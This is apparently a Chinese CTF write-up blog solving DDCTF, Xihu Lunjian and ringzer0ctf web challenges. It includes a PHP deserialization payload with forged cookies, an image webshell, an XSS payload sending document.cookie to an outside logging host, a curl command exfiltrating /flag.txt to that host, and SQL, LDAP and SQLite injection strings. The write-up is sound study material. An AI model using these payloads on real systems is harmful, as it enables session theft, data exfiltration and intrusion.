if($this->session_read()) {
$data = 'DiDI Welcome you %s';
$data = sprintf($data,$_SERVER['HTTP_USER_AGENT']);
parent::response($data,'sucess');
}else{
$this->session_create();
$data = 'DiDI Welcome you';
parent::response($data,'sucess');
}
}

}

private function get_key() {
//eancrykey and flag under the folder
$this->eancrykey = file_get_contents('../config/key.txt');
}

public function session_read() {
if(empty($_COOKIE)) {
return FALSE;
}

$session = $_COOKIE[$this->cookie_name];
if(!isset($session)) {
parent::response("session not found",'error');
return FALSE;
}
$hash = substr($session,strlen($session)-32);
$session = substr($session,0,strlen($session)-32);

if($hash !== md5($this->eancrykey.$session)) {
parent::response("the cookie data not match",'error');
return FALSE;
}
$session = unserialize($session);


if(!is_array($session) OR !isset($session['session_id']) OR !isset($session['ip_address']) OR !isset($session['user_agent'])){
return FALSE;
}

if(!empty($_POST["nickname"])) {
$arr = array($_POST["nickname"],$this->eancrykey);
$data = "Welcome my friend %s";
foreach ($arr as $k => $v) {
$data = sprintf($data,$v);
}
parent::response($data,"Welcome");
}

if($session['ip_address'] != $_SERVER['REMOTE_ADDR']) {
parent::response('the ip addree not match'.'error');
return FALSE;
}
if($session['user_agent'] != $_SERVER['HTTP_USER_AGENT']) {
parent::response('the user agent not match','error');
return FALSE;
}
return TRUE;

}

private function session_create() {
$sessionid = '';
while(strlen($sessionid) < 32) {
$sessionid .= mt_rand(0,mt_getrandmax());
}

$userdata = array(
'session_id' => md5(uniqid($sessionid,TRUE)),
'ip_address' => $_SERVER['REMOTE_ADDR'],
'user_agent' => $_SERVER['HTTP_USER_AGENT'],
'user_data' => '',
);

$cookiedata = serialize($userdata);
$cookiedata = $cookiedata.md5($this->eancrykey.$cookiedata);
$expire = $this->cookie_expiration + time();
setcookie(
$this->cookie_name,
$cookiedata,
$expire,
$this->cookie_path,
$this->cookie_domain,
$this->cookie_secure
);

}
}


$ddctf = new Session();
$ddctf->index();

审计后的总体思路如下:

主体为Session.php,调用了Session类中的index方法,其中Session类继承了Application

首先,调用Application类中的auth方法,必须返回true才能执行下面的语句,auth方法返回true的条件为:!empty($_SERVER['HTTP_DIDICTF_USERNAME']) && $_SERVER['HTTP_DIDICTF_USERNAME'] == $DIDICTF_ADMIN,即头部字段didictf_username:admin,这是个大前提

接下来调用get_key方法,可以发现该方法给出了注释部分的提示:

1
2
3
4
private function get_key() {
//eancrykey and flag under the folder
$this->eancrykey = file_get_contents('../config/key.txt');
}

提示flag和eancrykey都在../config文件夹下,并从key.txt取出加密的key

下一步就是调用session_read方法,如果返回true则返回的json信息中包含DiDI Welcome you $_SERVER['HTTP_USER_AGENT'],如果返回false则包含信息DiDI Welcome you,并且调用session_create方法,我们继续审计session_read方法,在其中我们可以发现其中的if语句:

1
2
3
4
5
6
7
8
if(!empty($_POST["nickname"])) {
$arr = array($_POST["nickname"],$this->eancrykey);
$data = "Welcome my friend %s";
foreach ($arr as $k => $v) {
$data = sprintf($data,$v);
}
parent::response($data,"Welcome");
}

可以看出,如果执行该if语句里的内容,可以得到加密的参数eancrykey,我们必须要让其执行,那么这个语句前面所有的条件都必须符合:
(1)cookie值不能为空

(2)cookie字段中必须包含参数ddctf_id

(3)$hash === md5($this->eancrykey.$session))

前面两个条件都很好满足,关键在于最后一个条件,参数hashsession分别来自下列语句:

1
2
$hash = substr($session,strlen($session)-32);
$session = substr($session,0,strlen($session)-32);

我们知道,substr函数中的参数$session是来自于cookie字段中的参数ddctf_id的值,所以

1
2
$hash = 变量session截取strlen($session)-32位 ~ 最后一位
$session = 变量session截取 开始位 ~ strlen($session)-32位

因为我们是不知道eancrykey的值,所以无法构造一个参数session能符合第三个条件,但是我们可以注意到当session_read方法返回false时,会执行方法session_create,继续跟进该方法,会发现方法的最后执行了setcookie,内容参数$cookiedata为:

1
2
3
4
5
6
7
8
$userdata = array(
'session_id' => md5(uniqid($sessionid,TRUE)),
'ip_address' => $_SERVER['REMOTE_ADDR'],
'user_agent' => $_SERVER['HTTP_USER_AGENT'],
'user_data' => '',
);
$cookiedata = serialize($userdata);
$cookiedata = $cookiedata.md5($this->eancrykey.$cookiedata);

最终cookiedata的值即为userdata序列化后的值拼接上md5加密后的eancrykey拼接上序列化值

如上图所示,符合大前提didictf_username,但是未设置cookie值,就会执行session_create设置cookie值,而字段ddctf_id的值:

1
ddctf_id=a%3A4%3A%7Bs%3A10%3A%22session_id%22%3Bs%3A32%3A%22495e31ab571f67c3c4ec41915d106c08%22%3Bs%3A10%3A%22ip_address%22%3Bs%3A14%3A%22202.101.138.82%22%3Bs%3A10%3A%22user_agent%22%3Bs%3A109%3A%22Mozilla%2F5.0+%28Windows+NT+10.0%3B+WOW64%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Chrome%2F73.0.3683.86+Safari%2F537.36%22%3Bs%3A9%3A%22user_data%22%3Bs%3A0%3A%22%22%3B%7D476e0efa4918bdfe3b0bbfdf499e75ac

经过url解码后为:

1
a:4:{s:10:"session_id";s:32:"495e31ab571f67c3c4ec41915d106c08";s:10:"ip_address";s:14:"202.101.138.82";s:10:"user_agent";s:109:"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.86 Safari/537.36";s:9:"user_data";s:0:"";}476e0efa4918bdfe3b0bbfdf499e75ac

可以看到32位的字符串476e0efa4918bdfe3b0bbfdf499e75ac这个即为加密的盐(参数eancrykey)与序列化值a:4:{s:10:"session_id";s:32:"495e31ab571f67c3c4ec41915d106c08";s:10:"ip_address";s:14:"202.101.138.82";s:10:"user_agent";s:109:"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.86 Safari/537.36";s:9:"user_data";s:0:"";}拼接后的md5加密值,首先想到的是拿去md5解密网站上进行解密得到key,但是解密失败

虽然无法解密直接得到key,但是在session_read方法中,我们同样可以得到key,条件则是如前面所提到的,符合$hash === md5($this->eancrykey.$session))

可以发现,session_create方法得到的ddctf_id字段值正好符合这个条件:

从响应结果来看,说明session_read方法返回true,说明符合了前面的所有条件,那么最后要得到key,需要的条件为POST一个参数nickname,该参数与key加入一个数组$arr,通过遍历该数组对字符串Welcome my friend %s进行字符替换,由于参数nickname为数组第一个元素,所以第一个替换的为nickname的值,替换一次后,要想再替换上key,则nickname的值中必须包含%s,所以,最终得到key的payload如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
POST /app/Session.php HTTP/1.1
Host: 117.51.158.44
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
didictf_username:admin
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.86 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Cookie:ddctf_id=a%3A4%3A%7Bs%3A10%3A%22session_id%22%3Bs%3A32%3A%22495e31ab571f67c3c4ec41915d106c08%22%3Bs%3A10%3A%22ip_address%22%3Bs%3A14%3A%22202.101.138.82%22%3Bs%3A10%3A%22user_agent%22%3Bs%3A109%3A%22Mozilla%2F5.0+%28Windows+NT+10.0%3B+WOW64%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Chrome%2F73.0.3683.86+Safari%2F537.36%22%3Bs%3A9%3A%22user_data%22%3Bs%3A0%3A%22%22%3B%7D476e0efa4918bdfe3b0bbfdf499e75ac
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 11

nickname=%s

得到的key为:EzblrbNS

但这只是key,要想得到flag,我们必须利用前面读取出key的函数file_get_contents读取../config/flag.txt才能最终获取flag,这就需要利用到session_read方法中的反序列化语句$session = unserialize($session);

那么接下来就需要寻找可以利用反序列化进行修改的参数,在类Application的方法__destruct中,发现语句:$this->response($data=file_get_contents($path),'Congratulations');,存在可以利用的参数$path,追溯该参数来源,发现path经过函数sanitizepath过滤:

1
2
3
4
5
6
private function sanitizepath($path) {
$path = trim($path);
$path=str_replace('../','',$path);
$path=str_replace('..\\','',$path);
return $path;
}

并且需要满足条件:strlen($path) === 18,才可以执行上述语句进行文件读取

所以,思路很清晰了,通过参数session进行反序列化改变参数path的值读取文件../config/flag.txt

要进行反序列化,同样要满足我们一开始提到的得到key的三个条件,但是这里我们已经知道了key,所以很容易就可以控制参数session

获得序列化值的代码如下:

1
2
3
4
5
6
7
8
class Appliacation{
var $path = '';
...
}

$session = new Application();
$session->path = "..././config/flag.txt"
echo serialize($session);

获得到的序列化值为:

1
O:11:"Application":1:{s:4:"path";s:21:"..././config/flag.txt";}

接下来将key与序列化值进行拼接后进行md5加密

1
echo md5('EzblrbNS'.$session);

加密后的值为5a014dbe49334e6dbb7326046950bee

那么session值就为:

1
O:11:"Application":1:{s:4:"path";s:21:"..././config/flag.txt";}5a014dbe49334e6dbb7326046950bee

最终获取flag的payload:

1
2
3
4
5
6
7
8
9
10
11
GET /app/Session.php HTTP/1.1
Host: 117.51.158.44
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
didictf_username:admin
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.86 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Cookie:ddctf_id=O:11:"Application":1:{s:4:"path"%3bs:21:"..././config/flag.txt"%3b}5a014dbe49334e6dbb7326046950bee2
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

flag:DDCTF{ddctf2019_G4uqwj6E_pHVlHIDDGdV8qA2j}

Upload-IMG

题目链接:http://117.51.148.166/upload.php

很清晰的一道文件上传题,尝试上传php一句话,抓包修改Content-type字段为image/jpeg,修改文件名后缀名为jpg都无法上传,提示请上传JPG/GIF/PNG格式的图片文件,猜测后台是对上传的文件内容进行了检查,上传图片马中包含phpinfo,却提示[Check Error]上传的图片源代码中未包含指定字符串:phpinfo(),将上传后的图片下载下来,与原来图片比较发现phpinfo不见了,说明对上传的图片进行了二次渲染,类似于upload-labs中的一道绕过二次渲染题目

绕过二次渲染上传图片马参考地址:https://xz.aliyun.com/t/2657

使用其中生成jpg图片的php脚本,过程为向服务器任意上传一个jpg文件,将上传成功的jpg文件下载下来,命名为1.jpg,再运行脚本,命令为:php jpg_payload.php 1.jpg

在目录下生成加入图片马的jpg图片,我们可以在16进制编辑器打开验证:

成功插入phpinfo信息,再次在服务器中上传该图片马

成功获得flag

另外png的图片同样可以通过参考链接中的其他脚本生成图片马,gif文件则需要比较前后图片的相同之处即imagecreatefromgif函数未修改的部分,比较麻烦一点

flag:DDCTF{B3s7_7ry_php1nf0_f2a042657ff79fad}

大吉大利,今晚吃鸡~

题目链接:http://117.51.147.155:5050/index.html#/login

这题有点类似护网杯的买辣条,抓包发现Cookie带有REVEL_SESSION,说明是go语言,继续抓取购买吃鸡入场券的包时,发现有参数ticket_price=2000,可是我们的余额只有100,明显无法购买入场券,后台的代码逻辑可能为用户存款 - (吃鸡入场券数×入场券价格 ) >= 0 ,尝试修改ticket_price=100,无法生成订单,通过二分法尝试,只有大于等于1000时才能生成订单,这就想起了go语言的最大整数溢出漏洞。

1
2
3
4
5
6
7
8
9
有符号整数类型
int8 有符号的8位整数,范围 -128 到127
int16 有符号的16位整数,范围 -32768 到 32767
int32 有符号的32位整数,范围 -2147483648 到 2147483647
int64 有符号的64位整数,范围 -9223372036854775808 到 9223372036854775807
uint8 无符号8位整数,范围 0 到 255
uint16 无符号16位整数,范围 0 到 65535
uint32 无符号32位整数,范围 0 到 4294967295
uint64 无符号64位整数,范围 0 到 18446744073709551615

正如上面所列出的go语言各类整数的范围,我们一个个尝试,尝试ticket_price=4294967296,即uint32 无符号32位整数值加1时,能成功购买入场券,并且余额并没有减少,还是100,这就说明了4294967296发生了溢出,变为了0,满足上面的逻辑判断

购买成功后,获得本账号的id和ticket,并且提示需要移除100位对手才能最终吃鸡,很明显需要我们写脚本进行注册并移除,注册100位账户的脚本register.py代码如下:

1
2
3
4
5
6
7
8
9
import requests

password = "12345678"
for i in range(1000,1101):
name = "test"
name = name + str(i)
url = "http://117.51.147.155:5050/ctf/api/register?name=%s&password=%s"%(name,password)
r = requests.get(url)
print(r.text)

注册100位后,我们需要再通过脚本分别对这100位用户进行登录,获取吃鸡入场券订单,购买订单,最后提取出各自分别的id和ticket,以上这些步骤都分别需要观察每个步骤的响应包json字段内容来判断是否提交成功以及提取id和ticket的信息,chiji.py代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
import requests
import re

s = requests.Session()
list_your_id = []
list_your_ticket = []

password = "12345678"
for i in range(1000,1200):
name = "test" + str(i)
url1 = "http://117.51.147.155:5050/ctf/api/login?name=%s&password=%s"%(name,password)
r1 = s.get(url1)
if '"code":200' in r1.text: #login successfully
ticket_price = 4294967296
url2 = "http://117.51.147.155:5050/ctf/api/buy_ticket?ticket_price=%d"%(ticket_price)
r2 = s.get(url2)
if '"ticket_price":' in r2.text: #get bill successfully
bill_id = re.findall(r'"bill_id":"(.*)",',r2.text)[0]
url3 = "http://117.51.147.155:5050/ctf/api/pay_ticket?bill_id=%s"%(bill_id)
r3 = s.get(url3)
if 'your_id' and 'your_ticket' in r3.text: #get ticket successfully
your_id = re.findall(r'"your_id":(.*),"your',r3.text)[0]
your_ticket = re.findall(r'"your_ticket":"(.*)"}]',r3.text)[0]
list_your_id.append(your_id)
print(list_your_id)
list_your_ticket.append(your_ticket)
print(list_your_ticket)
if len(list_your_id) and len(list_your_ticket) == 100:
break

#chiji
url4 = "http://117.51.147.155:5050/ctf/api/login?name=test01&password=12345678"
r4 = s.get(url4)
print(r4.text)
for i in range(100):
url5 = "http://117.51.147.155:5050/ctf/api/remove_robot?id=%s&ticket=%s"%(list_your_id[i],list_your_ticket[i])
r5 = s.get(url5)
print(r5.text)

经过测试,需要多次分批注册100个账号,即多次运行该脚本提交,才最终挤掉100位对手,猜测可能是存在提交信息过快导致服务器会来不及处理而导致提交失败的问题

最终吃鸡页面

flag:DDCTF{chiken_dinner_hyMCX[n47Fx)}

homebrew event loop

题目链接:http://116.85.48.107:5002/d5af31f66147e857

题目给了服务器端源码,是一个python写的Flask框架,分析代码,通过GET方式接收我们输入的参数,格式为action:ACTION;ARGS0#ARGS1#ARGS2......,要得到flag就是要执行最后的函数get_flag_handler,当满足session中的num_items字段大于等于5的条件时,会返回函数FLAG ,即得到flag

1
2
3
4
def get_flag_handler(args):
if session['num_items'] >= 5:
trigger_event('func:show_flag;' + FLAG()) # show_flag_function has been disabled, no worries
trigger_event('action:view;index')

但是如果按代码正常的逻辑来看,num_items的默认字段值为0,需要用session中的另一个字段points的值来换取,然而points初始化值为3

这是session中字段的初始化的代码段:

1
2
3
4
5
6
7
8
9
10
def entry_point():
querystring = urllib.unquote(request.query_string)
request.event_queue = []
if querystring == '' or (not querystring.startswith('action:')) or len(querystring) > 100:
querystring = 'action:index;False#False'
if 'num_items' not in session:
session['num_items'] = 0
session['points'] = 3
session['log'] = []
...

这是num_itemspoints字段值交换的代码段:

1
2
3
4
5
6
7
8
9
10
def buy_handler(args):
num_items = int(args[0])
if num_items <= 0: return 'invalid number({}) of diamonds to buy<br />'.format(args[0])
session['num_items'] += num_items
trigger_event(['func:consume_point;{}'.format(num_items), 'action:view;index'])

def consume_point_function(args):
point_to_consume = int(args[0])
if session['points'] < point_to_consume: raise RollBackException()
session['points'] -= point_to_consume

一开始认为的思路是修改session值来改变num_items,points字段的值来执行该函数。在flask中,session是经过参数app.secret_key来进行加密的,所以我们还必须得到加密的key,才能伪造session以获取flag,而获取该key则必须通过参数对代码进行注入,得到app.secret_key

找出的可能存在的注入点在buy_handler函数,通过python3的格式化字符format存在的漏洞注入得到配置信息,但是服务器端对用户的输入存在白名单过滤:

1
2
def execute_event_loop():
valid_event_chars = set('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_0123456789:;#')

故该方法无效,其实这题只是考察单纯绕过代码逻辑来调用get_flag_handler函数,我们可以注意,服务器执行的函数取决点在于列表request.event_queue,只要列表request.event_queue中还有事件,就会通过eval函数执行

1
2
3
try:
event_handler = eval(action + ('_handler' if is_action else '_function'))
ret_val = event_handler(args)

而列表request.event_queue是通过函数trigger_event进行改变的,所以我们可以通过调用trigger_event函数来进行多函数调用

按照正常的逻辑而言,如果我们正常调用buy_handler函数,并且传入的参数为5,payload为:?action:buy;5执行到最后会执行语句trigger_event(['func:consume_point;{}'.format(num_items), 'action:view;index']),这时候事情列表request.event_queue中就会添加两个事件consume_point_functionview_handler,也就是说,接下来调用的函数必然是consume_point_function,执行到该函数中的判断语句if session['points'] < point_to_consume: raise RollBackException()时,由于session['points']小于5,则出现了报错信息

但是如果我们控制事件列表request.event_queue中的事件顺序为:buy_handler,get_flag_handler,comsume_point_function,那么由于buy_handler函数中的语句session['num_items'] += num_items,此时session['num_items']被设置为了5,执行下一个函数get_flag_handler时,就能成功执行语句:if session['num_items'] >= 5:trigger_event('func:show_flag;' + FLAG())

所以最终的payload为:

1
?action:trigger_event%23;action:buy;5%23action:get_flag;

首先调用的函数是trigger_event,注意到这里的%23#,在python的eval函数中,注释符同样能注释掉后面的语句,也就是说注释掉了后面的字符串_handler_fuction,测试如下:

1
2
3
4
5
6
>>> def hello():
print("hello")

>>> a = eval('hello#aaa')
>>> a()
hello

传入trigger_event的参数为列表[action:buy;5,action:get_flag;],函数执行完毕后,此时事件列表request.event_queue的内容为:[action:buy;5,action:get_flag;]

下一个调用函数为:buy_handler,传入的参数为5,此时事件列表request.event_queue的内容为:[action:get_flag;],当函数buy_handler执行到语句trigger_event(['func:consume_point;{}'.format(num_items), 'action:view;index'])时,事件列表中又添了新的事件,此时内容为:[action:get_flag;,func:consume_point;5,action:view;index]

那么下一个调用的函数便为get_flag,因为此时刚执行完函数buy_handlersession['num_items'] == 5,所以执行语句trigger_event('func:show_flag;' + FLAG()),此时事件列表中又添加了新的内容:fuction:show_flag;拼接上FLAG()函数执行结果

我们可以执行到trigger_event函数中的语句:session['log'].append(event),即session['log']字段中存储着每次新添加进来的事件,所以必然有FLAG()函数执行结果

所以最后我们需要解密session字段,通过下列脚本代码解密:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
#!/usr/bin/env python3
import sys
import zlib
from base64 import b64decode
from flask.sessions import session_json_serializer
from itsdangerous import base64_decode

def decryption(payload):
payload, sig = payload.rsplit(b'.', 1)
payload, timestamp = payload.rsplit(b'.', 1)

decompress = False
if payload.startswith(b'.'):
payload = payload[1:]
decompress = True

try:
payload = base64_decode(payload)
except Exception as e:
raise Exception('Could not base64 decode the payload because of '
'an exception')

if decompress:
try:
payload = zlib.decompress(payload)
except Exception as e:
raise Exception('Could not zlib decompress the payload before '
'decoding the payload')

return session_json_serializer.loads(payload)

if __name__ == '__main__':
print(decryption(sys.argv[1].encode()))

解密结果中获得flag,从log字段内容也验证之前的过程分析

最终的flag为:DDCTF{3v4l_3v3nt_100p_aNd_fLASK_cOOkle}

]]>
ctf
杭州"西湖论剑"ctf-Web https://Foxgrin.github.io//posts/42277/ 2019-04-11T07:15:00.000Z 2019-04-11T15:19:27.619Z 这场比赛打了个酱油,只解了3题。意识到自己还需更加努力学习,趁着平台再次开放,复现一下Web的三道题

babyt3

题目链接:http://61.164.47.198:10000/

页面直接给出了提示include $_GET['file'],是一个文件包含题目

利用PHP伪协议读取index.php经过base64加密后的源代码:

1
/index.php?file=php://filter/convert.base64-encode/resource=index.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
#index.php
<?php
$a = @$_GET['file'];
if (!$a) {
$a = './templates/index.html';
}
echo 'include $_GET[\'file\']';
if (strpos('flag',$a)!==false) {
die('nonono');
}
include $a;
?>

<!--hint: ZGlyLnBocA== -->

源代码又给出了提示hint:ZGlyLnBocA==,base64解密后得到dir.php

继续用伪协议读dir.php的源代码:

1
/index.php?file=php://filter/convert.base64-encode/resource=dir.php
1
2
3
4
5
6
<?php
$a = @$_GET['dir'];
if(!$a){
$a = '/tmp';
}
var_dump(scandir($a));

发现读取目录下文件的函数scandir,读取根目录发现flag文件dir.php?dir=/

再次利用伪协议读取flag文件,payload如下:

1
/index.php?file=php://filter/convert.base64-encode/resource=/ffffflag_1s_Her4

解密后获得flag:flag{8dc25fd21c52958f777ce92409e2802a}

猜猜flag是什么

题目链接:http://61.164.47.198:10002

一开始通过GET方式提交参数name,发现页面会返回我们输入的参数name的值,尝试了一下XSS,?name=%253cscript%253e%253c/script%253e,弹出了hint:e10adc3949ba59abbe56e057f20f883e

md5解密是123456,但是一直没懂这个提示的意思,用御剑扫后台也没有扫到什么有用的

比赛结束后,参考别人的WP发现这题就是路径泄露

首先,通过dirsearch工具扫描目录,该工具下载链接:https://github.com/maurosoria/dirsearch

扫描到/.DS_Store

再通过ds_store_exp工具进行还原,该工具下载链接:https://github.com/lijiejie/ds_store_exp

还原结果发现存在目录/e10adc3949ba59abbe56e057f20f883e,即前面发现的提示

访问/e10adc3949ba59abbe56e057f20f883e/.git,发现存在git文件泄露,使用githack工具还原

还原后发现压缩包BackupForMySite.zip,但是被加密,发现里面存在lengzhu.jpg,得知这是一个明文攻击

先将lengzhu.jpg通过2345好压压缩为lengzhu.zip,再与BackupForMySite.zip通过ARCHPR工具进行明文攻击,

进行解密一段时间后,虽然没有得到解压密码,但是得到解压后的压缩包

解压后得到hint内容:

1
2
code is 9faedd5999937171912159d28b219d86
well ok ur good...By the way, flag saved in flag/seed.txt

看到code想到了首页的code兑换码,于是访问/?code=9faedd5999937171912159d28b219d86

得到一个数字:4795334,看样子不像是flag

hint中还有内容flag saved in flag/seed.txt,但是访问/flag/seed.txt也没有得到flag

但是看到seed就想到了这是一个随机数,需要工具php_mt_seed进行破解,该工具下载链接:https://www.openwall.com/php_mt_seed/,下载解压后进入目录执行`make`得到`php_mt_seed`

解密后的结果逐一尝试

访问/flag/309551.txt得到flag:flag{0730b6193000e9334b12cf7c95fbc736}

breakout

题目链接:http://61.164.47.198:10001

题目一开始为登录页面,但是完全不需要输入任何用户名和密码即可登录,登录后,有三个页面:/main.php为留言页面;/report.php为提交URL页面,提交完成后管理员会访问;/exec.php为命令执行页面,但是只有管理员才可以执行命令

题目思路挺明确的,利用留言页面进行XSS注入,再提交留言页面的URL,窃取到管理员的cookie,最后执行命令获取flag

首先在留言页面进行XSS注入,通过测试后台将script替换成:),所以考虑用img标签的onerror事件,将空格+onerror=替换成了:),绕过方法是将onerror=之间换行,注入内容为:

1
2
<img src=x onerror
=alert(/xss/)>

成功执行弹框,那么接下来只要控制onerror事件内容即可将管理员cookie发送到自己的服务器,payload为:

1
2
<img src=x onerror
="var img = new Image();img.src='http://fw5can.ceye.io/?c='+document.cookie;">

当管理员访问/main.php时,触发onerror事件后就会将自己的cookie值提交到我们的服务器上,我们即可在服务器的日志信息上发现

接下来,需要在/report.php中提交/main.php页面的URL值,但是这里必须同时要提交正确的验证码,验证码的条件为:substr(md5($str), 0, 6) === xxxxxx,即我们提交的验证码经过md5加密后的前六位为指定的随机6位数字,因为每次访问页面,产生的6位数字都不同,所以需要通过脚本进行提交,代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
import requests
import re
import hashlib

def md5(s):
return hashlib.md5(s.encode(encoding='UTF-8')).hexdigest()

s = requests.Session()
url = "http://61.164.47.198:10001/report.php"
headers = {
'Cookie':'PHPSESSID=s3dp9m5qpg6f10138g99bnt1p7; token=1B2M2Y8AsgTpgAmY7PhCfg%3D%3D'
}
r = s.get(url,headers=headers)
code = re.findall(r'=== (.*)<',r.text)[0]
#print("code:",code)

for i in range(1,9999999):
if md5(str(i)).startswith(code):
#print("md5(str(i)) ==",md5(str(i)))
#print("i:",i)
break

data = {
'url':'http://61.164.47.198:10001/main.php',
'code':i
}
r2 = s.post(url,data=data,headers=headers)
r2.encoding = r2.apparent_encoding
print(r2.text)

运行后可以看到页面返回提交成功的信息

接下来,回到自己服务器,查看日志内容:

成功窃取到管理员的cookie值:

1
%20admin=admin_!@@!_admin_admin_hhhhh;

最后,来到命令执行exec.php页面,提交执行的命令,加上管理员的cookie,payload如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
POST /exec.php HTTP/1.1
Host: 61.164.47.198:10001
Content-Length: 78
Cache-Control: max-age=0
Origin: http://61.164.47.198:10001
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.86 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Referer: http://61.164.47.198:10001/exec.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=s3dp9m5qpg6f10138g99bnt1p7; token=1B2M2Y8AsgTpgAmY7PhCfg%3D%3D;admin=admin_!@@!_admin_admin_hhhhh;
Connection: close

command=curl http://fw5can.ceye.io/?$(cat /flag.txt | base64)&exec=1

再次访问日志,经过base64解密后获取flag值:flag{fa51320ae808c70485dd5f30337026d6}

]]>
ctf
ringzer0ctf-sql注入 https://Foxgrin.github.io//posts/52899/ 2019-04-09T11:15:00.000Z 2019-04-09T13:21:41.429Z 拿这个平台练手一下SQL注入

Most basic SQLi pattern.

没有过滤,万能密码直接登录获取flag,payload:

1
username=admin&password=1' or '1'='1

ACL rulezzz the world.

没有过滤,联合查询注入

注数据库payload:

1
username=0' union select database(),2,3#

数据库名:chal2

注表payload:

1
username=0' union select group_concat(table_name),2,3 from information_schema.tables where table_schema=database()#

表名:c2_group,c2_group_membership,c2_user

注列payload:

1
username=0' union select group_concat(column_name),2,3 from information_schema.columns where table_name='c2_group'#

注内容payload:

1
username=0' union select group_concat(id),group_concat(groupname),group_concat(description) from c2_group#

flag在表c2_group

Login portal 1

用户名和密码字段都过滤了注释符#-%3B%00

payload:

1
username=admin' or '1&password=1

Random Login Form

有注册和登录界面,猜测是SQL约束攻击

注册payload:

1
new=admin+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++1&new_password=123

登录payload:

1
username=admin&password=123

登录成功获得flag

Just another login form

这题LDAP注入,LDAP简单来说类似Mysql,可以理解成一个数据库,具体可以参考https://www.fujieace.com/jingyan/ldap.html

search语法:attribute operator value
search filter options:( “&” or “|” (filter1) (filter2) (filter3) …) (“!” (filter))

=(等于)查找“名“属性为“John”的所有对象,可以使用:

1
(givenName=John)

这会返回“名”属性为“John”的所有对象。圆括号是必需的,以便强调 LDAP 语句的开始和结束。

&(逻辑与)如果具有多个条件并且希望全部条件都得到满足,则可使用此语法。例如,如果希望查找居住在 Dallas 并且“名”为“John”的所有人员,可以使用:

1
(&(givenName=John)(l=Dallas))

请注意,每个参数都被属于其自己的圆括号括起来。整个 LDAP 语句必须包括在一对主圆括号中。操作符 & 表明,只有每个参数都为真,才会将此筛选条件应用到要查询的对象。

!(逻辑非)此操作符用来排除具有特定属性的对象。假定您需要查找“名”为“John”的对象以外的所有对象。则应使用如下语句:

1
(!givenName=John)

此语句将查找“名”不为“John”的所有对象。请注意:! 操作符紧邻参数的前面,并且位于参数的圆括号内。由于本语句只有一个参数,因此使用圆括号将其括起以示说明

*(通配符)可使用通配符表示值可以等于任何值。使用它的情况可能是:您希望查找具有职务头衔的所有对象。为此,可以使用:

1
(title=*)

这会返回“title”属性包含内容的所有对象。另一个例子是:您知道某个对象的“名”属性的开头两个字母是“Jo”。那么,可以使用如下语法进行查找:

1
(givenName=Jo*)

这会返回“名”以“Jo”开头的所有对象。

高级用法eg:您需要一个筛选条件,用来查找居住在 Dallas 或 Austin,并且名为“John”的所有对象。使用的语法应当是:

1
(&(givenName=John)(|(l=Dallas)(l=Austin)))

所以这里LDAP注入主要利用的是通配符*

payload:

1
username=*&password=*

Po po po po postgresql

题目给了提示postgresql,经过查询是关系型数据库,--+代表注释

构造payload:

1
username=admin'--+&password=1

出现报错信息:

1
ERROR: syntax error at end of input LINE 1: ...AND password = ('da39a3ee5e6b4b0d3255bfef95601890afd80709')) ^

得知需要再添加))闭合

最终payload:

1
username=admin'))--+&password=1

Don’t mess with Noemie; she hates admin!

题目给出了用户名不是admin,并且同样过滤注释符#--/*

payload:

1
username=admin' or 1 or '&password=1

即使admin不存在,但是经过or 1之后最终结果也是1

What’s the definition of NULL

sqlite注入,以下为sqlite简介:

1
SQLite的,是一款轻型的数据库。sqlite存在一个叫SQLITE_MASTER的表,这与MySQL5.x的INFORMATION_SCHEMA表类似。sqlite_master 表中保存了数据库中所有表的信息,该表中比较有用的字段有“name,sql”,name字段存放的是表名,sql字段存放的是表结构。可以通过内置函数sqlite_version()获取版本信息,和其他数据库一样,通过“order by”判断长度,该数据库的注释符和ORACLE数据库一样,都是–。

题目注入点为GET方式传入的参数id,并且传入的值经过base64解密

题目给出的hint:WHERE (id IS NOT NULL) AND (ID = ? AND display = 1)

猜测后台sql语句为WHERE (id IS NOT NULL) AND (ID = base64_decode($_GET['id']) AND display = 1)

获得查询列数payload:

1
0) order by 3--

查询列数为3

获得表名payload:

1
0) union select group_concat(name),2,3 from sqlite_master--

